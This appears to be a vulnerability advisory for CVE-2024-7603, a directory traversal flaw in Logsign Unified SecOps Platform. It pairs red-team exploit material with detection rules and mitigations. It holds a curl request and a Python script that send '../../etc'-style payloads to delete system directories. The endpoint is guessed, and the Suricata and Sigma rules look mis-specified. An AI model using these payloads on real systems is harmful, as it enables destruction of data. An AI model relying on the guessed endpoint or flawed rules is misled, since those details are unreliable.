CVE-2024-7603
Executive Summary
CVE-2024-7603 is a directory traversal vulnerability in the Logsign Unified SecOps Platform, specifically within its HTTP API service (default TCP port 443). An authenticated remote attacker can exploit improper validation of user-supplied paths to delete arbitrary directories on the target system with root privileges. This can lead to severe denial of service, data loss, or system instability. The vulnerability has a CVSS score of 7.1 (High) and is currently unpatched. No public proof-of-concept or exploit code has been released, but the technical details are sufficient for a skilled attacker to develop one.
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CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: Low (PR:L) – attacker needs valid credentials.
- User Interaction: None (UI:N) – no user action needed.
- Scope: Unchanged (S:U) – vulnerability does not cross trust boundaries.
- Confidentiality Impact: None (C:N) – no data exposure.
- Integrity Impact: High (I:H) – arbitrary directory deletion.
- Availability Impact: High (A:H) – deletion of critical directories can cause service outage.
Threat Level: High. Although authentication is required, the impact is severe and the attack surface is exposed on the default HTTPS port.
Deep Dive & Mechanics
The vulnerability resides in the HTTP API service of Logsign Unified SecOps Platform. The API endpoint responsible for file operations (likely directory deletion) does not properly sanitize user-supplied path parameters. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and delete arbitrary directories on the filesystem.
Root Cause: Lack of validation of user-supplied paths before using them in file system operations. The application likely uses a function like os.RemoveAll() or rmdir() without checking if the resolved path is within an allowed base directory.
Attack Flow:
- Authenticate to the Logsign platform (e.g., via API token or session).
- Identify the vulnerable API endpoint (e.g.,
/api/deleteDirectoryor similar). - Send a crafted request with a path parameter containing traversal sequences (e.g.,
../../etc/). - The server deletes the specified directory with root privileges.
Impact: An attacker could delete critical system directories (e.g., /etc, /var/log, /opt/logsign/data), causing complete denial of service, data loss, or platform failure.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below.
Vulnerable Code (Conceptual):
# Vulnerable Python-like pseudocode
import os
@app.route('/api/deleteDirectory', methods=['POST'])
def delete_directory():
path = request.json.get('path')
# No validation of path
os.rmdir(path) # or shutil.rmtree(path)
return "Deleted"
Patched Code (Conceptual):
# Patched Python-like pseudocode
import os
ALLOWED_BASE = "/opt/logsign/data"
@app.route('/api/deleteDirectory', methods=['POST'])
def delete_directory():
path = request.json.get('path')
# Resolve and validate path
full_path = os.path.realpath(os.path.join(ALLOWED_BASE, path))
if not full_path.startswith(ALLOWED_BASE):
return "Invalid path", 400
if not os.path.exists(full_path):
return "Not found", 404
os.rmdir(full_path)
return "Deleted"
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Valid credentials (username/password or API token) for the Logsign platform.
- Network access to the Logsign server (port 443).
Exploitation Steps:
- Authenticate and obtain a session token.
- Identify the vulnerable endpoint (e.g., via API documentation or fuzzing).
- Send a POST request with a traversal payload.
Example Request (using curl):
curl -k -X POST \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"path": "../../etc"}' \
https://target.logsign.local/api/deleteDirectory
Expected Outcome: The /etc directory is deleted, causing system instability.
Automation Script (Python):
import requests
target = "https://target.logsign.local"
token = "your_token_here"
endpoint = "/api/deleteDirectory"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
payloads = [
"../../etc",
"../../var/log",
"../../opt/logsign/data"
]
for path in payloads:
r = requests.post(f"{target}{endpoint}", json={"path": path}, headers=headers, verify=False)
print(f"Deleted {path}: {r.status_code}")
Blue Team (Detection & Prevention)
Detection:
- Monitor API logs for unusual path traversal patterns (e.g.,
../,..\\). - Alert on deletion of critical directories (e.g.,
/etc,/var/log). - Use file integrity monitoring (FIM) to detect unexpected directory deletions.
Prevention:
- Implement strict input validation and path canonicalization.
- Use a whitelist of allowed directories for deletion operations.
- Apply the principle of least privilege – the API service should not run as root.
- Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/api/deleteDirectory(or similar) with path traversal sequences. - Unusual API calls from authenticated users deleting directories outside normal scope.
- HTTP POST requests to
- File System IOCs:
- Unexpected deletion of system directories (e.g.,
/etc,/var/log). - Missing critical files or directories.
- Unexpected deletion of system directories (e.g.,
- Log IOCs:
- API access logs showing
DELETEorPOSTto file operation endpoints with../patterns. - System logs showing
rmdirorunlinkcalls on sensitive paths.
- API access logs showing
Detection Engineering
YARA Rule
rule CVE_2024_7603_Logsign_Directory_Traversal {
meta:
description = "Detects path traversal attempts targeting Logsign Unified SecOps Platform"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-7603"
strings:
$traversal1 = "../"
$traversal2 = "..\\"
$endpoint = "/api/deleteDirectory"
$endpoint2 = "/api/delete"
condition:
any of ($traversal*) and any of ($endpoint*)
}
Sigma Rule
title: Logsign Directory Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in Logsign Unified SecOps Platform API
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: accesslog
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/deleteDirectory'
cs-uri-query|contains: '../'
condition: selection
falsepositives:
- Legitimate use of relative paths in rare cases
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-7603 Logsign Directory Traversal Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/api/deleteDirectory"; http_uri;
content:"../"; http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable API endpoint if not required, or restrict access via firewall rules.
- Apply strict input validation – implement a whitelist of allowed directories for deletion.
- Run the API service with least privileges – do not use root account.
- Monitor for exploitation attempts using the provided detection rules.
Long-Term Fix:
- Wait for an official patch from Logsign. Contact Logsign support for updates.
- If source code is available, implement path canonicalization and validation as shown in the patched code example.
Workaround:
- Use a reverse proxy (e.g., Nginx) to block requests containing
../in the body or URI. - Example Nginx rule:
if ($request_body ~* "\.\.") {
return 403;
}
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
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